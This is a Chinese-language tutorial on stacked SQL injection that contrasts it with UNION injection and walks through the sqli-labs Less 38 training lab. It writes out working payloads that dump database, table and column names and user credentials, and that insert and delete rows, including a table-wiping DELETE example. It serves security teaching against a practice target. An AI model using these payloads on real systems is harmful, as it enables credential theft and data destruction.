在SQL数据库中,每条语句是以;分开的,堆叠注入就是一次性注入并执行多条语句的注入方式。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于 union 或者union all执行的语句类型是有限的,可以用来执行的是查询语句,而堆叠注入可以执行的是任意的语句。 例如以下这个例子:
用户输入:1; DELETE FROM products;
服务器端生成的sql语句为:(因未对输入的参数进行过滤)
Select * from products where productid=1;DELETE FROM products;
当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。
当然堆叠注入也有局限性:
1、多语句执行受数据库类型、API、数据引擎的限制,有的不能实现。
2、增删改也受到用户权限的限制。
以sqli-labs靶场的less 38为例:
(先进行联合注入再进行堆叠注入)
/?id=1和/?id=2
都是直接显示出username和password
/?id=1'
说明是单引号字符型注入
?id=1' and '1'='1,反证法证明确实是单引号字符型注入
判断是否可以union联合注入:
/?id=-1' union select 1,2,3--+
(注意:选择-1'的原因是为了确保原始的 WHERE 子句不会匹配任何现有的记录)
回显位在第2、3列,也说明了可以通过联合注入
获取数据库名:
/?id=-1' union select 1,2,database()--+
了解到数据库名是security
获取数据库security的表名:
/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
了解到数据库security有emails,referers,uagents,users表
获取users表的列名:
/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name = 'users'--+
了解到users表有id,username,password列
获取users表中的各用户信息:
/?id=-1' union select 1,2,group_concat(id,':',username,':',password) from users--+
获取到各用户username和password信息
接下来就是堆叠注入了:
添加38,NanYuan,less38的用户信息:
/?id=1';insert into users(id,username,password) values ('38','NanYuan','less38')--+
查询是否添加成功:
/?id=38
删除该用户信息:
/?id=1';delete from users where id=38--+
查询是否删除该用户信息:
可以看到成功删除该用户信息
拓展:
/?id=1';delete from users where id=2--+
查询是否删除成功
删除成功